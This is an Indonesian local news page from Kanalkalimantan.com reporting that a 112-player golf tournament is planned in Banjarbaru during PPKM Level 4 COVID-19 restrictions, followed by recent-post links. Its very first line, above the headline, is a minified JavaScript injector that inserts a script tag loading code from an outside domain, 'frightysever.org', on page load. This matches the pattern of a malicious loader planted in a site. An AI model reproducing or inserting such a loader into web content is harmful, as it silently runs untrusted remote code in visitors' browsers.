(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DUH. Ada Rencana Gelar Turnamen Golf di Banjarbaru saat PPKM Level 4


KANALKALIMANTAN.COM, BANJARBARU – Tren kenaikan kasus Covid-19 di Kota Banjarbaru membuat penerapan PPKM level 4 diperpanjang hingga 23 Agustus mendatang. Aturan yang ditegakkan dalam fase pembatasan mobilitas masyarakat di kota berjuluk Idaman ini sudah seharusnya menjadi atensi bagi seluruh pihak.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Mirisnya masih saja ada yang tak faham ihwal kondisi tersebut. Sepetinya kabar terbaru tentang adanya pihak yang berencana menyelenggarakan kegiatan olahraga golf di lapangan Padang Golf Swargaloka, Landasan Ulin, Kota Banjarbaru.

 

 

Baca juga: Jalan di Desa Humbang Raya Akhirnya Mulus, Libatkan Warga Kerjakan Rabat Beton

Menurut informasi yang diterima Kanalkalimantan.com, rencana kegiatan turnamen golf itu dilaksanakan dalam rangka memperingati HUT ke-71 Kabupaten Kotabaru, sekaligus memeriahkan HUT ke-76 Kemerdekaan Republik Indonesia.

Adapun pelaksanaan kegiatan golf itu dijadwalkan berlangsung selama dua hari yakni dari tanggal 21-22 Agustus mendatang.

Dalam isi surat permohonan pihak panitia penyelenggara acara yang diajukan kepada pihak pengelola Padang Golf Swargaloka, dilaporkan bahwa sedikitnya ada 112 peserta atau pegolf yang akan berpartisipasi mengikuti kegiatan ini.

Meskipun pihak panitia menekankan akan menyesuaikan dengan protokol Covid-19 saat kegiatan nanti, tentunya rencana pelaksanaan kegiatan olahraga ini sangat bertolak belakang dengan aturan PPKM level 4 yang sudang berlaku di Kota Banjarbaru.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Ya, sebagaimana diketahui dalam pelaksanaan PPKM Level 4, seluruh kegiatan olahraga, seni/budaya, maupun sosial kemasyarakatan harus ditiadakan sementara waktu.

Aturan ini telah ditetapkan oleh Pemerintah Kota (Pemko) Banjarbaru bersama seluruh unsur Forkopimda, baik itu Polri, TNI, maupun DPRD. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.